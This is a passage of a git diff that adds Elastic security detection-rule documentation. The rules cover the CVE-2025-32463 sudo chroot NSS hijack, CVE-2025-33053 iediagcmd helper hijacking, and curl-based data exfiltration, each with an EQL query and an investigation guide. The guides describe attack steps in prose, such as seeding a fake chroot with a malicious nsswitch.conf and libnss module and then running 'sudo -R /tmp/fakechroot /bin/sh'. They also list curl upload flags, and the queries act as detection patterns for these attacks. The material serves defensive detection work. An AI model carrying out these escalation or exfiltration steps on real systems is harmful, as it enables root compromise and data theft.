indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot +* https://github.com/kh4sh3i/CVE-2025-32463 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2025-32463 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-32463 Nsswitch File Creation* + + +This rule flags creation of an nsswitch.conf file outside the standard /etc location by a shell, an early sign of staging a fake root to coerce sudo's chroot path and hijack NSS resolution (CVE-2025-32463). A common pattern is writing /tmp/chroot/etc/nsswitch.conf, placing or pointing to a malicious NSS module, then running sudo chroot into that directory so name lookups load attacker-controlled code and escalate to root. + + +*Possible investigation steps* + + +- Correlate the event with any sudo or chroot executions within ±10 minutes that reference the same directory prefix (e.g., /tmp/chroot), capturing full command line, user, TTY, working directory, and exit codes. +- Inspect the created nsswitch.conf for nonstandard services or module names and enumerate any libnss_*.so* under lib*/ or usr/lib*/ within that prefix, recording owner, hashes, and timestamps. +- List all contemporaneous file writes under the same prefix (etc, lib*, bin, sbin) to determine whether a chroot rootfs is being assembled and attribute it to a toolchain such as tar, rsync, debootstrap, or custom scripts via process ancestry. +- Search file access telemetry to see whether privileged processes subsequently read that specific nsswitch.conf or loaded libnss_* from the same path, which would indicate the chroot was exercised. +- Verify sudo and glibc versions and patch status for CVE-2025-32463 and collect the initiating user’s session context (SSH source, TTY, shell history) to assess exploitability and scope. + + +*False positive analysis* + + +- An administrator legitimately staging a temporary chroot or test root filesystem may use a shell to create /tmp/*/etc/nsswitch.conf while populating configs, matching the rule even though no privilege escalation is intended. +- OS installation, recovery, or backup-restore workflows run from a shell can populate a mounted target like /mnt/newroot/etc/nsswitch.conf, creating the file outside /etc as part of maintenance and triggering the alert. + + +*Response and remediation* + + +- Terminate any sudo or chroot processes referencing the created path (e.g., /tmp/chroot/etc/nsswitch.conf), lock the initiating user’s sudo access, and quarantine the parent directory with root-only permissions. +- Remove the staged nsswitch.conf and any libnss_*.so* or ld.so.* artifacts under lib*/ or usr/lib*/ within that prefix after collecting copies, hashes, and timestamps for evidence. +- Restore and verify /etc/nsswitch.conf on the host with correct content and root:root 0644, purge temporary chroot roots under /tmp, /var/tmp, or /mnt, and restart nscd or systemd-resolved to flush cached name-service data. +- Escalate to incident response if sudo chroot was executed against the same directory, if root processes loaded libnss_* from that path, or if nsswitch.conf appears outside /etc on multiple hosts within a short window. +- Apply vendor fixes for CVE-2025-32463 to sudo and glibc, disallow chroot in sudoers and enforce env_reset, noexec, and secure_path, and mount /tmp and /var/tmp with noexec,nosuid,nodev to prevent libraries being sourced from user-writable paths. +- Add controls to block execution from user-created chroot trees by policy (AppArmor or SELinux) and create alerts on creation of */etc/nsswitch.conf or libnss_* writes under non-system paths, with auto-isolation for directories under /tmp or a user’s home. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.path like "/*/etc/nsswitch.conf" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not +( + process.name in ("bash", "dash") and file.path like ( + "/var/tmp/mkinitramfs_*", "/tmp/tmp.*/mkinitramfs_*", "/tmp/petalinux*/etc/nsswitch.conf", + "/tmp/selfextract.*/mkinitramfs_*/etc/nsswitch.conf", "/var/tmp/dracut.*/initramfs/etc/nsswitch.conf", + "/tmp/user/0/mkinitramfs_*/etc/nsswitch.conf", "/opt/mkinitramfs_*/etc/nsswitch.conf", + "/opt/dumpling-nxp/*/etc/nsswitch.conf", "/tmp/store/vfs/dir/*", "/opt/tmp/mkinitramfs_*", + "/opt/nvidia_tmpfs/mkinitramfs*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc new file mode 100644 index 0000000000..88411cad05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-potential-cve-2025-32463-sudo-chroot-execution-attempt]] +=== Potential CVE-2025-32463 Sudo Chroot Execution Attempt + +Detects suspicious use of sudo's --chroot / -R option consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot +* https://github.com/kh4sh3i/CVE-2025-32463 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2025-32463 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-32463 Sudo Chroot Execution Attempt* + + +This rule highlights sudo invoked with the chroot (-R/--chroot) option outside normal administration, a behavior tied to CVE-2025-32463 where attackers force sudo to load attacker-controlled NSS configs or libraries and escalate to root. An attacker pattern: running sudo -R /tmp/fakechroot /bin/sh after seeding that directory with malicious nsswitch.conf and libnss to obtain a root shell. Treat unexpected chrooted sudo on Linux hosts as high-risk privilege escalation activity. + + +*Possible investigation steps* + + +- Extract the chroot target path from the event and enumerate its etc and lib directories for attacker-seeded NSS artifacts (nsswitch.conf, libnss_*, ld.so.preload) and fake passwd/group files, noting recent mtime, ownership, and world-writable files. +- Pivot to file-creation and modification telemetry to identify processes and users that populated that path shortly before execution (e.g., curl, wget, tar, git, gcc), linking them to the invoking user to establish intent. +- Review session and process details to see if a shell or interpreter was launched inside the chroot and whether an euid transition to 0 occurred, indicating a successful privilege escalation. +- Confirm sudo's package version and build options and the user’s sudoers policy (secure_path/env_* settings and any NOPASSWD allowances) to assess exploitability and whether chroot usage was authorized. +- Collect and preserve the chroot directory contents and relevant audit/log artifacts, and scope by searching for similar chroot invocations or NSS file seeds across the host and fleet. + + +*False positive analysis* + + +- A legitimate offline maintenance session where an administrator chroots into a mounted system under /mnt or /srv using sudo --chroot to run package or initramfs commands, which will trigger when the invoked program is not in the whitelist. +- An image-building or OS bootstrap workflow that stages a root filesystem and uses sudo -R to execute a shell or build/configuration scripts inside the chroot, producing the same pattern from a known user or host context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network, revoke the invoking user’s sudo privileges, and terminate any chrooted shells or child processes spawned via “sudo -R /bin/sh” or similar executions. +- Preserve evidence and then remove attacker-seeded NSS and loader artifacts within the chroot path—delete or replace nsswitch.conf, libnss_*.so, ld.so.preload, passwd, and group files, and clean up world-writable staging directories like /tmp/fakechroot. +- Upgrade sudo to a fixed build that addresses CVE-2025-32463, and recover by restoring any modified system NSS and loader files from known-good backups while validating ownership, permissions, and hashes. +- Escalate to full incident response if a root shell or process with euid 0 is observed, if /etc/ld.so.preload or /lib/libnss_*.so outside the chroot show unauthorized changes, or if similar “sudo -R” executions appear across multiple hosts. +- Harden by updating sudoers to remove NOPASSWD for chrooted commands, enforce Defaults env_reset and secure_path with noexec, disable “--chroot” usage for non-admin workflows, and monitor for creation of libnss_*.so or nsswitch.conf in non-standard directories. +- Add platform controls by enabling SELinux/AppArmor policies on sudo and the dynamic loader, applying nodev,nosuid,noexec mounts to /tmp and build paths, and setting immutability (chattr +i) on /etc/nsswitch.conf where operationally feasible. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name == "sudo" and process.args like ("-R", "--chroot*") and +// To enforce the -R and --chroot arguments to be for sudo specifically, while wildcarding potential full sudo paths +process.command_line like ("*sudo -R*", "*sudo --chroot*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-33053-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-33053-exploitation.asciidoc new file mode 100644 index 0000000000..20079563d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-33053-exploitation.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-potential-cve-2025-33053-exploitation]] +=== Potential CVE-2025-33053 Exploitation + +Identifies Internet Explorer Diagnostics launching a helper name from a non-System32 path, which may indicate CVE-2025-33053 exploitation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2025/stealth-falcon-zero-day/ +* https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2025-33053 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential CVE-2025-33053 Exploitation* + + + +*Possible investigation steps* + + +- Does the alert show "iediagcmd.exe" launching a non-system helper? + - Focus: `process.parent.executable`, `process.name`, `process.executable`, and `process.command_line`; check for WebDAV, UNC, temp, downloads, archive-extracted, or user-writable helper paths. + - Implication: escalate when the helper name matches a diagnostics utility but `process.executable` is outside "C:\Windows\System32\" or points to remote/user-writable content; lower suspicion only when the path is a controlled diagnostic harness bounded to this `host.id` and `user.id`. +- Does child identity fit the claimed system utility? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is unsigned, newly seen, remotely hosted, user-writable, or PE metadata mismatches the helper name; a trusted signer/familiar name confirms identity only, not benign "iediagcmd.exe" use. +- Does parent/session context fit user-triggered execution? + - Focus: `process.parent.command_line`, `process.Ext.session_info.logon_type`, and `user.id`. + - Hint: inspect `process.Ext.ancestry` only when direct parent/child context is incomplete. + - Implication: escalate when the parent command line/ancestry points to a shortcut, archive, browser, mail client, or document-open path in an interactive user session; lower suspicion when parent/session evidence stays inside a controlled diagnostic or authorized test launch path. +- If file telemetry is available, did the lure or child stage follow-on artifacts? + - Focus: recover file events with `host.id` + `process.entity_id`; if absent, use `host.id` + `process.pid` in the alert window. Review `file.name`, `file.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier` for ".url" lures, archive extraction, decoy PDFs, copied helpers, DLLs, or payloads. !{investigate{"description":"","label":"File events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the child writes a file, check later starts where `process.executable` equals `file.path`. + - Implication: escalate on internet provenance, WebDAV/UNC lure paths, decoys, copied utilities, DLLs, or written artifacts later executed; missing file telemetry is unresolved, not benign. +- If DNS/connection telemetry is available, did the child contact a remote share or callback? + - Focus: recover network events with `host.id` + `process.entity_id`; if absent, use `host.id` + `process.pid` in the alert window. Separate DNS `dns.question.name`/`dns.resolved_ip` from connection `destination.ip`/`destination.port`. !{investigate{"description":"","label":"Network events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: map "lookup_result" `dns.question.name` to `dns.resolved_ip`, then compare with `destination.ip` and any remote host from the helper path or lure. + - Implication: escalate when the child reaches a remote-share host, rare public destination, or later C2-like infrastructure unrelated to diagnostics; missing DNS/connection telemetry is unresolved, not benign. +- Do descendants or siblings show cleanup, decoy opening, or payload execution? + - Focus: later process starts on the same `host.id`, using direct `process.parent.entity_id` links first; review `process.executable`, `process.command_line`, `process.Ext.created_suspended`, and signer context. !{investigate{"description":"","label":"Child process starts from the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use PID matching only in a tight alert-time window, and inspect `process.Ext.ancestry` only when direct lineage is incomplete. + - Implication: escalate when the chain launches "taskkill.exe", opens a decoy through "cmd.exe", starts a browser from an abnormal path, creates a suspended process, or runs unsigned follow-on payloads; keep host-local only when no follow-on evidence contradicts a bounded diagnostic or test path. +- If local evidence is suspicious or incomplete, do related alerts show broader delivery or post-exploitation? + - Focus: review same-`user.id` alerts over 48 hours for the same lure, proxy-execution, payload, or C2 pattern. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user scope is sparse or shared, compare same-`host.id` alerts for the same ".url", WebDAV, child hash, or payload pattern. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand response scope when related alerts show the same lure, remote working directory, payload, or post-exploitation pattern; keep response host-local only when related alerts are absent and local telemetry fully explains one recognized workflow. +- What disposition do helper-path, identity, launch, artifact, network, descendant, and related-alert findings support? + - Implication: escalate on remote working-directory abuse, lure delivery, payload staging, suspicious destinations, cleanup, or broader compromise; close only when process, artifact, network, descendant, and alert-scope evidence bind one recognized diagnostic or authorized test workflow; preserve and escalate on incomplete or mixed visibility. + + +*False positive analysis* + + +- Routine diagnostics resolve helpers from "C:\Windows\System32\". Treat helper execution from WebDAV, UNC, temp, downloads, or archive paths as an operational anti-pattern unless telemetry proves a controlled harness or authorized exploit test: child identity (`process.executable`, `process.hash.sha256`, signer, `process.command_line`), parent launch context, `user.id`, `host.id`, and ".url", file-provenance, DNS, or destination evidence stay inside the same bounded workflow; use testing records only to corroborate telemetry. +- Before exceptions, validate the minimum recurring pattern: child path or hash, signer, command line, `process.parent.executable`, `user.id`, `host.id`, and bounded lure or destination pattern. Avoid exceptions on "iediagcmd.exe", `process.name`, helper basename, or `host.id` alone because those fields also match malicious working-directory hijack chains. + + +*Response and remediation* + + +- If confirmed benign, reverse containment and document the exact child path/hash, command line, parent launch context, `user.id`, `host.id`, and lure or destination evidence proving the diagnostic or testing workflow. Create an exception only for that recurring bounded pattern. +- If suspicious but unconfirmed, preserve a case export of the alert, parent/child process details, suspicious helper binary, ".url" or archive artifacts, file-provenance records, DNS/connection records, and descendant process evidence before containment. Apply reversible containment first: block the confirmed WebDAV or callback destination, remove remote-share access, or raise monitoring on `host.id`; isolate only when artifact, network, or descendant evidence shows active compromise and the host role can tolerate disruption. +- If confirmed malicious, isolate the host or terminate the malicious child and confirmed descendants only after recording process entity IDs, command lines, hashes, lure paths, destination indicators, and related alert identifiers. If endpoint response is unavailable, hand off preserved evidence to contain the endpoint or block remote infrastructure. +- Before deleting artifacts, scope other users and hosts for the same ".url" filename pattern, WebDAV/UNC host, child hash, command line, decoy path, and payload path. Remove only lure files, dropped helpers, DLLs, decoys, archives, and payloads found during the investigation, then restore modified execution paths that supported the hijack chain. +- After containment, apply the June 2025 Windows security updates for CVE-2025-33053 where missing, restrict untrusted Internet Shortcut content and remote-working-directory execution paths, retain process/file/network telemetry, and document variants such as helper names or WebDAV paths for detection engineering review. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "C:\\Program Files\\Internet Explorer\\iediagcmd.exe" and + process.name : ("route.exe", "netsh.exe", "ipconfig.exe", "dxdiag.exe", "conhost.exe", "makecab.exe") and + process.executable != null and + not process.executable : ("C:\\Windows\\System32\\route.exe", + "C:\\Windows\\System32\\netsh.exe", + "C:\\Windows\\System32\\ipconfig.exe", + "C:\\Windows\\System32\\dxdiag.exe", + "C:\\Windows\\System32\\conhost.exe", + "C:\\Windows\\System32\\makecab.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-through-curl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-through-curl.asciidoc new file mode 100644 index 0000000000..1d0b93c3e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-through-curl.asciidoc @@ -0,0 +1,227 @@ +[[prebuilt-rule-8-19-34-potential-data-exfiltration-through-curl]] +=== Potential Data Exfiltration Through Curl + +Detects the use of curl to upload files to an internet server. Threat actors often will collect and exfiltrate data on a system to their C2 server for review. Many threat actors have been observed using curl to upload the collected data. Use of curl in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://everything.curl.dev/usingcurl/uploads +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Curl* + + +Curl is a command-line tool used for transferring data with URLs, commonly employed for legitimate data exchange tasks. However, adversaries can exploit curl to exfiltrate sensitive data by uploading compressed files to remote servers. The detection rule identifies suspicious curl usage by monitoring for specific command patterns and arguments indicative of data uploads, flagging abnormal activities for further investigation. + + +*Possible investigation steps* + + +- Review the process command line to confirm the presence of suspicious arguments such as "-F", "-T", "-d", or "--data*" and check for any compressed file extensions like .zip, .gz, or .tgz being uploaded to an external server. +- Investigate the parent process of the curl command to understand the context in which curl was executed, including the parent executable and its purpose. +- Examine network logs to identify the destination IP address or domain to which the data was being uploaded, and assess whether it is a known or suspicious entity. +- Check for any recent file creation or modification events on the host that match the compressed file types mentioned in the query, which could indicate data collection prior to exfiltration. +- Correlate this event with other security alerts or logs from the same host to identify any patterns of behavior that might suggest a broader compromise or data exfiltration attempt. + + +*False positive analysis* + + +- Legitimate data transfers using curl for system backups or data synchronization can trigger the rule. To manage this, identify and whitelist specific processes or scripts that are known to perform these tasks regularly. +- Automated system updates or software installations that use curl to download and upload data might be flagged. Exclude these processes by verifying their source and adding them to an exception list if they are from trusted vendors. +- Internal data transfers within a secure network that use curl for efficiency can be mistaken for exfiltration. Monitor the destination IP addresses and exclude those that are internal or known safe endpoints. +- Developers or system administrators using curl for testing or development purposes may inadvertently 